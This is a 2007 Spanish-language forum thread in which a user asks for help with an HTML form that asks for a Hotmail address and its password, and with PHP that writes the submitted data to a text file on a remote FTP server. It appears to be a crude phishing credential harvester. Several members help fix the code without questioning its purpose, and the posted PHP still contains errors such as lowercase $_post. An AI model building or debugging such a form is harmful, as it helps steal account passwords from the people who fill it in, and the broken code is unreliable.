Duda codigo PHP

Iniciado por knox18, 9 Septiembre 2007, 15:30 PM

0 Miembros y 1 Visitante están viendo este tema.

knox18

aver stoi intentando krear komo una especie de base de datos.. xo en verdad es un pokito extraña.. estoi intentando volcar el contenido de un formulario en un archivo de texto plano.. aki indico el codigo
archivo principal
<html>
<body>

<FORM METHOD="post" ACTION="txt.php">

<p>Su cuenta de Correo <input type="text" name="Email" size="20" value="@hotmail.com">
<p>Su contraseña <input type="text" name="pass" size="20" value="******">

<input type="submit" value="enviar" name="enviar">

</body>
</html>


archivo txt.php
<?PHP;

if (isset($_post['enviar'])
{

    if (@$fp = fopen("ftp://*****:******@ftp.usuarios.lycos.es/emails.txt","a"))
    {
        fwrite($fp,$_post['Email']."\r\n");
        fclose($fp);
    }
}

?>


El problema es k me da un error en la linea 4 del txt.php.. e intentado por varios metodos xo no le encuentro solucion, x favor una ayuda me sentaria muy bien un saludo
Duerme con el pensamiento de la muerte y levántate con el pensamiento de que la vida es corta.

alone-in-the-chat

Hola

Cual es el error que te lanza? Postealo por favor


Saludos.
Because maybe
You're gonna be the one that saves me
And after all
You're my wonderwall
d[n_n]b

knox18

ok! perdon por el detalle
Parse error: syntax error, unexpected '{' in /data/members/free/tripod/es/t/r/e/trepones/htdocs/txt.php on line 4
Duerme con el pensamiento de la muerte y levántate con el pensamiento de que la vida es corta.

alone-in-the-chat


Prueba asi

Código (php) [Seleccionar]

<?PHP;

if (isset($_POST['enviar']))
{
    @$fp = fopen("ftp://*****:******@ftp.usuarios.lycos.es/emails.txt","a");
    if ($fp)
    {
        fwrite($fp,$_POST['Email']."\n");
        fclose($fp);
    }
}

?>



Saludos
Because maybe
You're gonna be the one that saves me
And after all
You're my wonderwall
d[n_n]b

knox18

to perfe aora no me da el erro solamente tengo un problema y es k sige sin escribirme en el archivo de texto plano :S gracias alone
Duerme con el pensamiento de la muerte y levántate con el pensamiento de que la vida es corta.

SeniorX

Eso es porque quizas no tienes permisos de escritura. O si?
De ser asi tienes q hacerlo con el comando chmod.
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}

Precaución: La programacion puede producir adiccion

Alex_bro

Seguramente sean los permisos como dice SeniorX.
Recuerda filtrar los datos si despues piensas mostrarlos en la web.
Y por si te interesa, te recomendaria pjjTextBase si haces algo mas complicado que guardar correos en un txt.

Saludos.

knox18

señores no se xk xo me lo lee to perfecto no me da ningun error xo sin embargo sigue sin escribirme en el arxivo de texto plano...  :-\

paso los codigos de nuevo tal y como stan
archivo principal.html
<html>
<body>

<FORM METHOD="post" ACTION="txt.php">

<p>Su cuenta de Correo <input type="text" name="Email" size="20" value="@hotmail.com">
<p>Su contraseña <input type="text" name="pass" size="20" value="******">

<input type="submit" value="enviar" name="enviar">

</body>


arxivo txt.php
<?PHP;  if (isset($_post['enviar'])){
     $fp = fopen("ftp://*****:******@ftp.usuarios.lycos.es/emails.txt", "w");
    if ($fp)
     {
         fwrite($fp,$_post['Email']."\n");
         fwrite($fp,$_post['name']."\n");
         fclose($fp);
     } } 

?>



wahhh stoi askeaoooo, xcierto ya le puesto atributos de skritura lectura a todos y sige sin funcionar... :S
Duerme con el pensamiento de la muerte y levántate con el pensamiento de que la vida es corta.

Alex_bro

pero tienes que darle atributos de escritura tambien, mira que tenga 777.

Saludos.

knox18

ya tiene atributos de lectura y escritura para propietario, grupo y otros... 666 a un arxivo de texto plano no le puedo dar de ejecucion asi k... no tngo ni idea de xk no se puede. Puede ser x el puto servidor de lycos??
Duerme con el pensamiento de la muerte y levántate con el pensamiento de que la vida es corta.